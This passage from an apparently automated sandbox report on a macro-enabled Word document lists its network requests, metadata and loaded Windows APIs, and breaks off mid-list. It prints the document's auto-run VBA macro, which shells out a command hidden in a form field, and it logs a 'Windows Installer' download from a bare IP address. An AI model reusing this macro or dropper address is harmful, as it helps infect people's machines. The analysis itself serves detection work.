  2386. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2387. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  2388. "port": 80
  2389. },
  2390. {
  2391. "count": 1,
  2392. "body": "",
  2393. "uri": "http://54.38.127.28/pm4",
  2394. "user-agent": "Windows Installer",
  2395. "method": "GET",
  2396. "host": "54.38.127.28",
  2397. "version": "1.1",
  2398. "path": "/pm4",
  2399. "data": "GET /pm4 HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Windows Installer\r\nHost: 54.38.127.28\r\n\r\n",
  2400. "port": 80
  2401. },
  2402. {
  2403. "count": 7,
  2404. "body": "",
  2405. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2406. "user-agent": "Microsoft-CryptoAPI/6.1",
  2407. "method": "GET",
  2408. "host": "crl.microsoft.com",
  2409. "version": "1.1",
  2410. "path": "/pki/crl/products/microsoftrootcert.crl",
  2411. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2412. "port": 80
  2413. },
  2414. {
  2415. "count": 1,
  2416. "body": "",
  2417. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2418. "user-agent": "Microsoft-CryptoAPI/6.1",
  2419. "method": "GET",
  2420. "host": "crl.microsoft.com",
  2421. "version": "1.1",
  2422. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2423. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2424. "port": 80
  2425. },
  2426. {
  2427. "count": 1,
  2428. "body": "",
  2429. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  2430. "user-agent": "Microsoft-CryptoAPI/6.1",
  2431. "method": "GET",
  2432. "host": "ocsp.digicert.com",
  2433. "version": "1.1",
  2434. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  2435. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D HTTP/1.1\r\nCache-Control: max-age = 150849\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 10:50:30 GMT\r\nIf-None-Match: \"5ced1276-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2436. "port": 80
  2437. },
  2438. {
  2439. "count": 1,
  2440. "body": "",
  2441. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  2442. "user-agent": "Microsoft-CryptoAPI/6.1",
  2443. "method": "GET",
  2444. "host": "ocsp.digicert.com",
  2445. "version": "1.1",
  2446. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  2447. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D HTTP/1.1\r\nCache-Control: max-age = 135176\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 05:30:18 GMT\r\nIf-None-Match: \"5cecc76a-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2448. "port": 80
  2449. },
  2450. {
  2451. "count": 1,
  2452. "body": "",
  2453. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  2454. "user-agent": "Microsoft-CryptoAPI/6.1",
  2455. "method": "GET",
  2456. "host": "ocsp.digicert.com",
  2457. "version": "1.1",
  2458. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  2459. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D HTTP/1.1\r\nCache-Control: max-age = 168744\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 15:00:08 GMT\r\nIf-None-Match: \"5ced4cf8-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2460. "port": 80
  2461. },
  2462. {
  2463. "count": 1,
  2464. "body": "",
  2465. "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D",
  2466. "user-agent": "Microsoft-CryptoAPI/6.1",
  2467. "method": "GET",
  2468. "host": "ocsp.pki.goog",
  2469. "version": "1.1",
  2470. "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D",
  2471. "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  2472. "port": 80
  2473. }
  2474. ]
  2475.  
  2476. [*] Network Communication - SMTP: []
  2477.  
  2478. [*] Network Communication - Hosts: []
  2479.  
  2480. [*] Network Communication - IRC: []
  2481.  
  2482. [*] Static Analysis: {
  2483. "office": {
  2484. "Macro": {
  2485. "Code": {
  2486. "Macro2": [
  2487. [
  2488. "App1.frm",
  2489. "Private Sub UserForm_Activate()\nOn Error Resume Next\nDim time\ntime = Format(Now + TimeSerial(0, 0, 24), \"hh:mm\")\n\n\nShell Replace(App2.T3.Text, \"77:77\", time)\nUnload Me\nEnd Sub\n"
  2490. ]
  2491. ],
  2492. "Macro1": [
  2493. [
  2494. "ThisDocument.cls",
  2495. "Sub document_open()\nCallByName App1, \"Show\", VbMethod\n\nEnd Sub"
  2496. ]
  2497. ]
  2498. },
  2499. "Analysis": {
  2500. "Suspicious": [
  2501. [
  2502. "CallByName",
  2503. "May attempt to obfuscate malicious function calls"
  2504. ],
  2505. [
  2506. "Shell",
  2507. "May run an executable file or a system command"
  2508. ]
  2509. ],
  2510. "AutoExec": [
  2511. [
  2512. "Document_Open",
  2513. "Runs when the Word document is opened"
  2514. ]
  2515. ]
  2516. }
  2517. },
  2518. "Metadata": {
  2519. "SummaryInformation": {
  2520. "num_words": "23",
  2521. "num_pages": "1",
  2522. "last_saved_by": "1",
  2523. "creating_application": "Microsoft Office Word",
  2524. "author": "Microsoft Office",
  2525. "revision_number": "3",
  2526. "codepage": "1251",
  2527. "title": "",
  2528. "comments": "",
  2529. "num_chars": "134",
  2530. "total_edit_time": "0",
  2531. "create_time": "None",
  2532. "template": "Normal.dotm",
  2533. "last_printed": "None",
  2534. "keywords": "",
  2535. "security": "0",
  2536. "last_saved_time": "None",
  2537. "thumbnail": "None",
  2538. "subject": ""
  2539. },
  2540. "DocumentSummaryInformation": {
  2541. "codepage_doc": "1251",
  2542. "chars_with_spaces": "156",
  2543. "shared_doc": "False",
  2544. "paragraphs": "1",
  2545. "hidden_slides": "None",
  2546. "mm_clips": "None",
  2547. "category": "None",
  2548. "presentation_target": "None",
  2549. "hlinks_changed": "False",
  2550. "scale_crop": "False",
  2551. "version": "1048576",
  2552. "hlinks": "None",
  2553. "link_base": "None",
  2554. "company": "Microsoft Corporation",
  2555. "unused": "None",
  2556. "dig_sig": "None",
  2557. "content_type": "None",
  2558. "heading_pairs": "None",
  2559. "slides": "None",
  2560. "links_dirty": "False",
  2561. "language": "None",
  2562. "notes": "None",
  2563. "bytes": "None",
  2564. "manager": "None",
  2565. "content_status": "None",
  2566. "doc_version": "None",
  2567. "titles_of_parts": "None",
  2568. "lines": "1"
  2569. },
  2570. "HasMacros": "Yes",
  2571. "DocumentType": "Word Document"
  2572. }
  2573. }
  2574. }
  2575.  
  2576. [*] Resolved APIs: [
  2577. "mso.dll.#1443",
  2578. "mso.dll.#9214",
  2579. "mso.dll.#199",
  2580. "mso.dll.#1073",
  2581. "mso.dll.#4255",
  2582. "mso.dll.#6588",
  2583. "msi.dll.#111",
  2584. "mso.dll.#5889",
  2585. "mso.dll.#2422",
  2586. "mso.dll.#5735",
  2587. "mso.dll.#5002",
  2588. "gkword.dll.FValidateWordFile",
  2589. "gkword.dll.GkInitHost",
  2590. "mso.dll.#2739",
  2591. "mso.dll.#3459",
  2592. "mso.dll.#5709",
  2593. "mso.dll.#6333",
  2594. "mso.dll.#420",
  2595. "mso.dll.#408",
  2596. "mso.dll.#2714",
  2597. "mso.dll.#8622",
  2598. "mso.dll.#3380",
  2599. "mso.dll.#2052",
  2600. "mso.dll.#4208",
  2601. "mso.dll.#8980",
  2602. "mso.dll.#1006",
  2603. "mso.dll.#8218",
  2604. "mso.dll.#135",
  2605. "mso.dll.#8046",
  2606. "secur32.dll.FreeContextBuffer",
  2607. "ncrypt.dll.SslOpenProvider",
  2608. "ncrypt.dll.GetSChannelInterface",
  2609. "bcryptprimitives.dll.GetHashInterface",
  2610. "ncrypt.dll.SslIncrementProviderReferenceCount",
  2611. "ncrypt.dll.SslImportKey",
  2612. "bcryptprimitives.dll.GetCipherInterface",
  2613. "ncrypt.dll.SslLookupCipherSuiteInfo",
  2614. "mso.dll.#1262",
  2615. "mso.dll.#3043",
  2616. "user32.dll.LoadStringW",
  2617. "ncrypt.dll.BCryptOpenAlgorithmProvider",
  2618. "ncrypt.dll.BCryptGetProperty",
  2619. "ncrypt.dll.BCryptCreateHash",
  2620. "ncrypt.dll.BCryptHashData",
  2621. "ncrypt.dll.BCryptFinishHash",
  2622. "ncrypt.dll.BCryptDestroyHash",
  2623. "crypt32.dll.CertGetCertificateChain",
  2624. "userenv.dll.GetUserProfileDirectoryW",
  2625. "sechost.dll.ConvertSidToStringSidW",
  2626. "sechost.dll.ConvertStringSidToSidW",
  2627. "userenv.dll.RegisterGPNotification",
  2628. "gpapi.dll.RegisterGPNotificationInternal",
  2629. "sechost.dll.OpenSCManagerW",
  2630. "sechost.dll.OpenServiceW",
  2631. "sechost.dll.CloseServiceHandle",
  2632. "sechost.dll.QueryServiceConfigW",
  2633. "cryptsp.dll.CryptAcquireContextA",
  2634. "cryptsp.dll.CryptCreateHash",
  2635. "cryptsp.dll.CryptHashData",
  2636. "cryptsp.dll.CryptVerifySignatureA",
  2637. "cryptsp.dll.CryptDestroyKey",
  2638. "cryptsp.dll.CryptDestroyHash",
  2639. "bcryptprimitives.dll.GetAsymmetricEncryptionInterface",
  2640. "ncrypt.dll.BCryptImportKeyPair",
  2641. "ncrypt.dll.BCryptVerifySignature",
  2642. "ncrypt.dll.BCryptDestroyKey",
  2643. "crypt32.dll.CertVerifyCertificateChainPolicy",
  2644. "crypt32.dll.CertFreeCertificateChain",
  2645. "crypt32.dll.CertDuplicateCertificateContext",
  2646. "ncrypt.dll.SslEncryptPacket",
  2647. "mso.dll.#8931",
  2648. "shell32.dll.SHGetFileInfoW",
  2649. "mso.dll.#5362",
  2650. "mso.dll.#6044",
  2651. "mso.dll.#6516",
  2652. "mso.dll.#6221",
  2653. "mso.dll.#5780",
  2654. "mso.dll.#4870",
  2655. "mso.dll.#6046",
  2656. "mso.dll.#677",
  2657. "mso.dll.#1241",
  2658. "mso.dll.#2821",
  2659. "mso.dll.#2340",
  2660. "mso.dll.#7287",
  2661. "mso.dll.#5290",
  2662. "mso.dll.#1508",
  2663. "user32.dll.IsZoomed",
  2664. "user32.dll.GetWindowPlacement",
  2665. "user32.dll.GetWindowRect",
  2666. "mso.dll.#821",
  2667. "user32.dll.GetSystemMetrics",
  2668. "user32.dll.MonitorFromWindow",
  2669. "user32.dll.MonitorFromRect",
  2670. "user32.dll.MonitorFromPoint",
  2671. "user32.dll.EnumDisplayMonitors",
  2672. "user32.dll.GetMonitorInfoA",
  2673. "user32.dll.EnumDisplayDevicesA",
  2674. "mso.dll.#2378",
  2675. "user32.dll.SetWindowPos",
  2676. "user32.dll.AdjustWindowRect",
  2677. "mso.dll.#5912",
  2678. "mso.dll.#9719",
  2679. "mso.dll.#8824",
  2680. "mso.dll.#6117",
  2681. "mso.dll.#3307",
  2682. "user32.dll.SendMessageW",
  2683. "user32.dll.DestroyIcon",
  2684. "mso.dll.#3813",
  2685. "mso.dll.#1815",
  2686. "user32.dll.PtInRect",
  2687. "mso.dll.#1613",
  2688. "user32.dll.SetWindowTextW",
  2689. "user32.dll.GetClassLongW",
  2690. "mso.dll.#8572",
  2691. "gdi32.dll.CreateDIBSection",
  2692. "gdi32.dll.CreateCompatibleDC",
  2693. "gdi32.dll.GetViewportOrgEx",
  2694. "gdi32.dll.SetViewportOrgEx",
  2695. "gdi32.dll.SetBkColor",
  2696. "gdi32.dll.ExtTextOutA",
  2697. "mso.dll.#1573",
  2698. "gdi32.dll.DeleteDC",
  2699. "mso.dll.#8612",
  2700. "user32.dll.SetScrollRange",
  2701. "mso.dll.#2509",
  2702. "user32.dll.BeginDeferWindowPos",
  2703. "user32.dll.DeferWindowPos",
  2704. "user32.dll.EndDeferWindowPos",
  2705. "user32.dll.OffsetRect",
  2706. "user32.dll.EnumChildWindows",
  2707. "user32.dll.GetScrollInfo",
  2708. "user32.dll.MapWindowPoints",
  2709. "msptls.dll.?FsCreatePageFinite@Ptls6@@YGJPAUfscontext@1@PBUfsbreakrecpage@1@PAUfsnameclient@1@PAU_fsfmtr@1@PAPAUfspage@1@PAPAU31@@Z",
  2710. "msptls.dll.?FsTransformRectangle@Ptls6@@YGJKPBUtagFSRECT@1@0KPAU21@@Z",
  2711. "mso.dll.#6126",
  2712. "msptls.dll.?LsCreateLine@Ptls6@@YGJPAUlscontext@1@PAUlsparaclient@1@PBUlspap@1@JPBUlslinerestr@1@PBUlsbreakrecline@1@PAPAU61@PAUlslinfo@1@PAPAVCLsLine@1@@Z",
  2713. "gdi32.dll.GetFontRealizationInfo",
  2714. "gdi32.dll.GetFontFileInfo",
  2715. "gdi32.dll.GetFontFileData",
  2716. "kernel32.dll.WerRegisterMemoryBlock",
  2717. "ncrypt.dll.SslDecryptPacket",
  2718. "winhttp.dll.WinHttpReceiveResponse",
  2719. "winhttp.dll.WinHttpQueryHeaders",
  2720. "winhttp.dll.WinHttpQueryDataAvailable",
  2721. "winhttp.dll.WinHttpReadData",
  2722. "mso.dll.#7261",
  2723. "mso.dll.#9540",
  2724. "usp10.dll.ScriptGetFontScriptTags",
  2725. "usp10.dll.ScriptGetFontLanguageTags",
  2726. "usp10.dll.ScriptGetFontFeatureTags",
  2727. "mso.dll.#7047",
  2728. "msptls.dll.?LsQueryLineVisibilityWord@Ptls6@@YGJPAVCLsLine@1@PAJPAH@Z",
  2729. "msptls.dll.?LsQueryLineMaxDepth@Ptls6@@YGJPAVCLsLine@1@PAJ@Z",
  2730. "msptls.dll.?LsModifyLineHeight@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@JJJJ@Z",
  2731. "webservices.dll.WsCreateError",
  2732. "ntdll.dll.EtwEventWrite",
  2733. "ntdll.dll.EtwEventRegister",
  2734. "ntdll.dll.EtwEventUnregister",
  2735. "webservices.dll.WsCreateHeap",
  2736. "webservices.dll.WsCreateReader",
  2737. "gdiplus.dll.GdipLoadImageFromStreamICM",
  2738. "webservices.dll.WsSetInput",
  2739. "windowscodecs.dll.DllGetClassObject",
  2740. "webservices.dll.WsFillReader",
  2741. "webservices.dll.WsReadToStartElement",
  2742. "webservices.dll.WsReadStartElement",
  2743. "webservices.dll.WsReadType",
  2744. "gdiplus.dll.GdipGetImageRawFormat",
  2745. "gdiplus.dll.GdipGetImageFlags",
  2746. "gdiplus.dll.GdipGetImageWidth",
  2747. "gdiplus.dll.GdipGetImageHeight",
  2748. "gdiplus.dll.GdipGetImagePixelFormat",
  2749. "gdiplus.dll.GdipGetImageHorizontalResolution",
  2750. "gdiplus.dll.GdipGetImageVerticalResolution",
  2751. "gdiplus.dll.GdipImageGetFrameCount",
  2752. "gdiplus.dll.GdipDisposeImage",
  2753. "winhttp.dll.WinHttpCloseHandle",
  2754. "crypt32.dll.CertFreeCertificateContext",
  2755. "rpcrt4.dll.RpcBindingFree",
  2756. "webservices.dll.WsFreeReader",
  2757. "webservices.dll.WsFreeError",
  2758. "webservices.dll.WsFreeHeap",
  2759. "webservices.dll.WsCreateServiceProxyFromTemplate",
  2760. "gdiplus.dll.GdipDeletePath",
  2761. "msptls.dll.?FsTransformPoint@Ptls6@@YGJKPBUtagFSRECT@1@PBUtagFSPOINT@1@KPAU31@@Z",
  2762. "msptls.dll.?FsTransformVector@Ptls6@@YGJKPBUtagFSVECTOR@1@KPAU21@@Z",
  2763. "msptls.dll.?LsDestroyLine@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@@Z",
  2764. "winhttp.dll.WinHttpOpenRequest",
  2765. "winhttp.dll.WinHttpAddRequestHeaders",
  2766. "winhttp.dll.WinHttpSendRequest",
  2767. "winhttp.dll.WinHttpConnect",
  2768. "winhttp.dll.WinHttpCrackUrl",
  2769. "winhttp.dll.WinHttpSetStatusCallback",
  2770. "winhttp.dll.WinHttpOpen",
  2771. "winhttp.dll.WinHttpSetOption",
  2772. "winhttp.dll.WinHttpWriteData",
  2773. "winhttp.dll.WinHttpSetCredentials",
  2774. "winhttp.dll.WinHttpQueryAuthSchemes",
  2775. "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
  2776. "winhttp.dll.WinHttpGetProxyForUrl",
  2777. "winhttp.dll.WinHttpQueryOption",
  2778. "webservices.dll.WsOpenServiceProxy",
  2779. "webservices.dll.WsCall",
  2780. "webservices.dll.WsAddCustomHeader",
  2781. "shlwapi.dll.StrStrA",
  2782. "shlwapi.dll.UrlUnescapeA",
  2783. "mso.dll.#8165",
  2784. "msptls.dll.?FsQueryPageDetails@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@PAUfspagedetails@1@@Z",
  2785. "msptls.dll.?FsQueryPageSectionList@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@JPAUfssectiondescription@1@PAJ@Z",
  2786. "msptls.dll.?FsQuerySectionDetails@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@PAUfssectiondetails@1@@Z",
  2787. "msptls.dll.?FsQuerySectionCompositeColumnList@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@JPAUfscompositecolumndescription@1@PAJ@Z",
  2788. "msptls.dll.?FsQueryCompositeColumnDetails@Ptls6@@YGJPAUfscontext@1@PBUfscompositecolumn@1@PAUfscompositecolumndetails@1@@Z",
  2789. "msptls.dll.?FsQueryTrackDetails@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@PAUfstrackdetails@1@@Z",
  2790. "msptls.dll.?FsQueryTrackParaList@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@JPAUfsparadescription@1@PAJ@Z",
  2791. "msptls.dll.?FsQueryTextDetails@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@PAUfstextdetails@1@@Z",
  2792. "msptls.dll.?FsQueryLineListComposite@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@JPAUfslinedescriptioncomposite@1@PAJ@Z",
  2793. "msptls.dll.?FsQueryLineCompositeElementList@Ptls6@@YGJPAUfscontext@1@PBUfsline@1@JPAUfslineelement@1@PAJ@Z",
  2794. "msptls.dll.?FsQueryAttachedObjectList@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@JPAUfsattachedobjectdescription@1@PAJ@Z",
  2795. "msptls.dll.?FsQueryFigureObjectDetails@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@PAUfsfiguredetails@1@@Z",
  2796. "mso.dll.#2566",
  2797. "mso.dll.#1429",
  2798. "mso.dll.#6502",
  2799. "uiautomationcore.dll.UiaClientsAreListening",
  2800. "msptls.dll.?FsDestroyPage@Ptls6@@YGJPAUfscontext@1@PAUfspage@1@@Z",
  2801. "msptls.dll.?FsDestroyContext@Ptls6@@YGJPAUfscontext@1@@Z",
  2802. "user32.dll.SetRectEmpty",
  2803. "user32.dll.IntersectRect",
  2804. "user32.dll.InflateRect",
  2805. "mso.dll.#1100",
  2806. "msptls.dll.?LsQueryLineDup@Ptls6@@YGJPAVCLsLine@1@PAUlslinearea@1@@Z",
  2807. "user32.dll.GetCursor",
  2808. "user32.dll.GetClientRect",
  2809. "user32.dll.SetScrollInfo",
  2810. "user32.dll.IsWindowEnabled",
  2811. "user32.dll.SetScrollPos",
  2812. "mso.dll.#3747",
  2813. "mso.dll.#5394",
  2814. "mso.dll.#331",
  2815. "mso.dll.#6829",
  2816. "mso.dll.#539",
  2817. "mso.dll.#4959",
  2818. "mso.dll.#6463",
  2819. "mso.dll.#4987",
  2820. "user32.dll.GetWindow",
  2821. "mso.dll.#7195",
  2822. "mso.dll.#7573",
  2823. "mso.dll.#445",
  2824. "user32.dll.GetCaretBlinkTime",
  2825. "user32.dll.CreateCaret",
  2826. "msptls.dll.?LsQueryLineCpPpoint@Ptls6@@YGJPAVCLsLine@1@JJPAUlsqsubinfo@1@PAJPAUlstextcell@1@@Z",
  2827. "user32.dll.DestroyCaret",
  2828. "user32.dll.GetCaretPos",
  2829. "user32.dll.SetCaretPos",
  2830. "mso.dll.#5932",
  2831. "mso.dll.#2071",
  2832. "mso.dll.#1024",
  2833. "mso.dll.#6245",
  2834. "mso.dll.#9041",
  2835. "mso.dll.#1767",
  2836. "mso.dll.#9369",
  2837. "mso.dll.#4617",
  2838. "user32.dll.FillRect",
  2839. "mso.dll.#343",
  2840. "mso.dll.#9636",
  2841. "mso.dll.#2022",
  2842. "mso.dll.#4750",
  2843. "mso.dll.#4577",
  2844. "mso.dll.#850",
  2845. "mso.dll.#1776",
  2846. "mso.dll.#9026",
  2847. "mso.dll.#4497",
  2848. "mso.dll.#4647",
  2849. "mso.dll.#8926",
  2850. "mso.dll.#7212",
  2851. "mso.dll.#5407",
  2852. "mso.dll.#5152",
  2853. "mso.dll.#3327",
  2854. "shell32.dll.SHAddToRecentDocs",
  2855. "ole32.dll.PropVariantClear",
  2856. "oleaut32.dll.#9",
  2857. "mso.dll.#1335",
  2858. "mso.dll.#2041",
  2859. "mso.dll.#7834",
  2860. "mso.dll.#239",
  2861. "mso.dll.#6357",
  2862. "mso.dll.#7026",
  2863. "mso.dll.#1671",
  2864. "oleaut32.dll.#7",
  2865. "mso.dll.#8263",
  2866. "mso.dll.#9307",
  2867. "mso.dll.#1441",
  2868. "mso.dll.#9223",
  2869. "mso.dll.#6453",
  2870. "mso.dll.#8044",
  2871. "mso.dll.#3698",
  2872. "mso.dll.#8565",
  2873. "mso.dll.#8373",
  2874. "mso.dll.#9741",
  2875. "mso.dll.#478",
  2876. "mso.dll.#479",
  2877. "mso.dll.#340",
  2878. "bcrypt.dll.BCryptOpenAlgorithmProvider",
  2879. "bcrypt.dll.BCryptGetProperty",
  2880. "bcrypt.dll.BCryptCreateHash",
  2881. "bcrypt.dll.BCryptHashData",
  2882. "bcrypt.dll.BCryptFinishHash",
  2883. "bcrypt.dll.BCryptDestroyHash",
  2884. "bcrypt.dll.BCryptCloseAlgorithmProvider",
  2885. "mso.dll.#8633",
  2886. "mso.dll.#5213",
  2887. "mso.dll.#6163",
  2888. "mso.dll.#552",
  2889. "mso.dll.#5630",
  2890. "mso.dll.#2513",
  2891. "mso.dll.#1607",
  2892. "mso.dll.#1638",
  2893. "mso.dll.#1725",
  2894. "user32.dll.RegisterWindowMessageW",
  2895. "advapi32.dll.RegQueryValueW",
  2896. "apphelp.dll.ApphelpCheckShellObject",
  2897. "cryptnet.dll.CertDllVerifyRevocation",
  2898. "profapi.dll.#104",
  2899. "ole32.dll.CoRevokeInitializeSpy",
  2900. "comctl32.dll.#388",
  2901. "sensapi.dll.IsNetworkAlive",
  2902. "rpcrt4.dll.RpcBindingFromStringBindingW",
  2903. "rpcrt4.dll.RpcBindingSetAuthInfoExW",
  2904. "rpcrt4.dll.NdrClientCall2",
  2905. "winhttp.dll.WinHttpSetTimeouts",
  2906. "winhttp.dll.WinHttpGetDefaultProxyConfiguration",
  2907. "mso.dll.#4314",
  2908. "sxs.dll.SxsOleAut32MapReferenceClsidToConfiguredClsid",
  2909. "mso.dll.#6484",
  2910. "sxs.dll.SxsOleAut32RedirectTypeLibrary",
  2911. "advapi32.dll.RegOpenKeyW",
  2912. "mso.dll.#2183",
  2913. "mso.dll.#2161",
  2914. "vbe7.dll.DllVbeInit",
  2915. "msi.dll.MsiProvideQualifiedComponentA",
  2916. "msi.dll.MsiGetProductCodeA",
  2917. "msi.dll.MsiReinstallFeatureA",
  2918. "msi.dll.MsiProvideComponentA",
  2919. "kernel32.dll.HeapSetInformation",
  2920. "advapi32.dll.EventWrite",
  2921. "advapi32.dll.EventRegister",
  2922. "advapi32.dll.EventUnregister",
  2923. "kernel32.dll.InitializeCriticalSectionAndSpinCount",
  2924. "vbeui.dll._MsoVBADigSigCallDlg@20",
  2925. "vbeui.dll._MsoVbaInitSecurity@4",
  2926. "vbeui.dll._MsoFIEPolicyAndVersion@8",
  2927. "vbeui.dll._MsoFAnsiCodePageSupportsLCID@8",
  2928. "vbeui.dll._MsoFInitOffice@20",
  2929. "vbeui.dll._MsoUninitOffice@4",
  2930. "vbeui.dll._MsoFGetFontSettings@20",
  2931. "vbeui.dll._MsoRgchToRgwch@16",
  2932. "vbeui.dll._MsoHrSimpleQueryInterface@16",
  2933. "vbeui.dll._MsoHrSimpleQueryInterface2@20",
  2934. "vbeui.dll._MsoFCreateControl@36",
  2935. "vbeui.dll._MsoFLongLoad@8",
  2936. "vbeui.dll._MsoFLongSave@8",
  2937. "vbeui.dll._MsoFGetTooltips@0",
  2938. "vbeui.dll._MsoFSetTooltips@4",
  2939. "vbeui.dll._MsoFLoadToolbarSet@24",
  2940. "vbeui.dll._MsoFCreateToolbarSet@28",
  2941. "vbeui.dll._MsoHpalOffice@0",
  2942. "vbeui.dll._MsoFWndProcNeeded@4",
  2943. "vbeui.dll._MsoFWndProc@24",
  2944. "vbeui.dll._MsoFCreateITFCHwnd@20",
  2945. "vbeui.dll._MsoDestroyITFC@4",
  2946. "vbeui.dll._MsoFPitbsFromHwndAndMsg@12",
  2947. "vbeui.dll._MsoFGetComponentManager@4",
  2948. "vbeui.dll._MsoMultiByteToWideChar@24",
  2949. "vbeui.dll._MsoWideCharToMultiByte@32",
  2950. "vbeui.dll._MsoHrRegisterAll@0",
  2951. "vbeui.dll._MsoFSetComponentManager@4",
  2952. "vbeui.dll._MsoFCreateStdComponentManager@20",
  2953. "vbeui.dll._MsoFHandledMessageNeeded@4",
  2954. "vbeui.dll._MsoPeekMessage@8",
  2955. "vbeui.dll._MsoFCreateIPref@28",
  2956. "vbeui.dll._MsoDestroyIPref@4",
  2957. "vbeui.dll._MsoChsFromLid@4",
  2958. "vbeui.dll._MsoCpgFromChs@4",
  2959. "vbeui.dll._MsoSetLocale@4",
